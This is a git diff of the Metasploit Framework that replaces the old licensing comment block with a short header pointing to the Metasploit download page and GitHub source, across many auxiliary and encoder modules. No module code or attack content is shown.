b/modules/auxiliary/server/socks4a.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'thread' diff --git a/modules/auxiliary/server/socks_unc.rb b/modules/auxiliary/server/socks_unc.rb index bbfb323320..02444e8749 100644 --- a/modules/auxiliary/server/socks_unc.rb +++ b/modules/auxiliary/server/socks_unc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/server/tftp.rb b/modules/auxiliary/server/tftp.rb index f2a435f8cb..b638679aa4 100644 --- a/modules/auxiliary/server/tftp.rb +++ b/modules/auxiliary/server/tftp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/webkit_xslt_dropper.rb b/modules/auxiliary/server/webkit_xslt_dropper.rb index 9a3c02fbe5..3a65957de4 100644 --- a/modules/auxiliary/server/webkit_xslt_dropper.rb +++ b/modules/auxiliary/server/webkit_xslt_dropper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/server/wpad.rb b/modules/auxiliary/server/wpad.rb index 979a156359..8278b4cf04 100644 --- a/modules/auxiliary/server/wpad.rb +++ b/modules/auxiliary/server/wpad.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sniffer/psnuffle.rb b/modules/auxiliary/sniffer/psnuffle.rb index 74b674a93f..ff759a14fa 100644 --- a/modules/auxiliary/sniffer/psnuffle.rb +++ b/modules/auxiliary/sniffer/psnuffle.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # ## diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 460b6bf61c..0a6ef7647a 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/spoof/cisco/dtp.rb b/modules/auxiliary/spoof/cisco/dtp.rb index fa8a8b0bdb..2b6de28697 100644 --- a/modules/auxiliary/spoof/cisco/dtp.rb +++ b/modules/auxiliary/spoof/cisco/dtp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb index a415814243..62bc90f183 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb index 8554115ee4..6e584e4c4f 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/spoof/dns/compare_results.rb b/modules/auxiliary/spoof/dns/compare_results.rb index 344b76225f..446f23578f 100644 --- a/modules/auxiliary/spoof/dns/compare_results.rb +++ b/modules/auxiliary/spoof/dns/compare_results.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index f5922144e5..81a7c9c4ca 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index b81172aa32..c2a1a82c83 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/spoof/replay/pcap_replay.rb b/modules/auxiliary/spoof/replay/pcap_replay.rb index 45f28d9b28..44d73bf2a7 100644 --- a/modules/auxiliary/spoof/replay/pcap_replay.rb +++ b/modules/auxiliary/spoof/replay/pcap_replay.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/spoof/wifi/airpwn.rb b/modules/auxiliary/spoof/wifi/airpwn.rb index cdf04543b0..67309883c9 100644 --- a/modules/auxiliary/spoof/wifi/airpwn.rb +++ b/modules/auxiliary/spoof/wifi/airpwn.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/spoof/wifi/dnspwn.rb b/modules/auxiliary/spoof/wifi/dnspwn.rb index e2ea2e081e..5136678352 100644 --- a/modules/auxiliary/spoof/wifi/dnspwn.rb +++ b/modules/auxiliary/spoof/wifi/dnspwn.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb index 10422d5ece..9c16d7707e 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb index 5873500313..63bdd8b76e 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb index 33c5f09ee2..202befbdb4 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb index ec8b57dd4a..e5616de2fa 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb index 7d4ae9d273..5216cb7929 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb index 0042f81c33..6ed8fa565b 100644 --- a/modules/auxiliary/sqli/oracle/dbms_export_extension.rb +++ b/modules/auxiliary/sqli/oracle/dbms_export_extension.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb index 406fa0b23d..3906ffe09b 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb index ac5ac746cd..e70df852be 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb index 0cceb16236..1ce44bfc12 100644 --- a/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb +++ b/modules/auxiliary/sqli/oracle/dbms_metadata_open.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/droptable_trigger.rb b/modules/auxiliary/sqli/oracle/droptable_trigger.rb index bd24979b59..0e35b2d3d7 100644 --- a/modules/auxiliary/sqli/oracle/droptable_trigger.rb +++ b/modules/auxiliary/sqli/oracle/droptable_trigger.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb index bc5b5aa605..36b3451950 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb index e0356d5f6b..fa48c826db 100644 --- a/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb +++ b/modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb index a54583b28c..72e727a771 100644 --- a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb index 33a9f352ac..1599496dd1 100644 --- a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb +++ b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb index efdd6365b4..5d08084d13 100644 --- a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb index 7f5a9d63cb..d95428a42a 100644 --- a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb index eb216e0b06..91ae115d03 100644 --- a/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb index 15ca13fad3..20173265fa 100644 --- a/modules/auxiliary/voip/asterisk_login.rb +++ b/modules/auxiliary/voip/asterisk_login.rb @@ -1,7 +1,5 @@ -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/voip/sip_deregister.rb b/modules/auxiliary/voip/sip_deregister.rb index 1c3442239c..1a9ad5db04 100644 --- a/modules/auxiliary/voip/sip_deregister.rb +++ b/modules/auxiliary/voip/sip_deregister.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/voip/sip_invite_spoof.rb b/modules/auxiliary/voip/sip_invite_spoof.rb index 28180a3545..96c455150a 100644 --- a/modules/auxiliary/voip/sip_invite_spoof.rb +++ b/modules/auxiliary/voip/sip_invite_spoof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb index ab91cff096..19e267e20d 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/vsploit/malware/dns/dns_query.rb b/modules/auxiliary/vsploit/malware/dns/dns_query.rb index 02f7bdd5c6..be1e7865c5 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_query.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_query.rb @@ -1,9 +1,7 @@ ## # -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb index a87dfbd188..25844caa52 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/vsploit/pii/email_pii.rb b/modules/auxiliary/vsploit/pii/email_pii.rb index 604dfa027a..caa6f7a38d 100644 --- a/modules/auxiliary/vsploit/pii/email_pii.rb +++ b/modules/auxiliary/vsploit/pii/email_pii.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/vsploit/pii/web_pii.rb b/modules/auxiliary/vsploit/pii/web_pii.rb index fc1a847f66..06ffb0c75c 100644 --- a/modules/auxiliary/vsploit/pii/web_pii.rb +++ b/modules/auxiliary/vsploit/pii/web_pii.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/encoders/cmd/generic_sh.rb b/modules/encoders/cmd/generic_sh.rb index ee76184d04..bd46b5aaa9 100644 --- a/modules/encoders/cmd/generic_sh.rb +++ b/modules/encoders/cmd/generic_sh.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/cmd/ifs.rb b/modules/encoders/cmd/ifs.rb index ab0ff8d303..07c0356603 100644 --- a/modules/encoders/cmd/ifs.rb +++ b/modules/encoders/cmd/ifs.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/cmd/printf_php_mq.rb b/modules/encoders/cmd/printf_php_mq.rb index 63e86163a0..fcfa9d829a 100644 --- a/modules/encoders/cmd/printf_php_mq.rb +++ b/modules/encoders/cmd/printf_php_mq.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/encoders/generic/none.rb b/modules/encoders/generic/none.rb index 8dce9ef933..bcedb58859 100644 --- a/modules/encoders/generic/none.rb +++ b/modules/encoders/generic/none.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/mipsbe/longxor.rb b/modules/encoders/mipsbe/longxor.rb index 9fbc995579..ebc26b0e66 100644 --- a/modules/encoders/mipsbe/longxor.rb +++ b/modules/encoders/mipsbe/longxor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/mipsle/longxor.rb b/modules/encoders/mipsle/longxor.rb index a1b7bb7528..d397a9e70c 100644 --- a/modules/encoders/mipsle/longxor.rb +++ b/modules/encoders/mipsle/longxor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb index 2d198c13e0..39199c7a46 100644 --- a/modules/encoders/php/base64.rb +++ b/modules/encoders/php/base64.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/ppc/longxor.rb b/modules/encoders/ppc/longxor.rb index 93cf6254f6..9ecaebfd55 100644 --- a/modules/encoders/ppc/longxor.rb +++ b/modules/encoders/ppc/longxor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/ppc/longxor_tag.rb b/modules/encoders/ppc/longxor_tag.rb index d8e0078b08..8e3a06e97c 100644 --- a/modules/encoders/ppc/longxor_tag.rb +++ b/modules/encoders/ppc/longxor_tag.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/sparc/longxor_tag.rb b/modules/encoders/sparc/longxor_tag.rb index d9c2e35162..15bb39ad59 100644 --- a/modules/encoders/sparc/longxor_tag.rb +++ b/modules/encoders/sparc/longxor_tag.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x64/xor.rb b/modules/encoders/x64/xor.rb index d6063328ba..a7fcbffd2f 100644 --- a/modules/encoders/x64/xor.rb +++ b/modules/encoders/x64/xor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/add_sub.rb b/modules/encoders/x86/add_sub.rb index 775f230681..dd3aa96acb 100755 --- a/modules/encoders/x86/add_sub.rb +++ b/modules/encoders/x86/add_sub.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index 75da943f4b..81c5ca4026 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -1,8 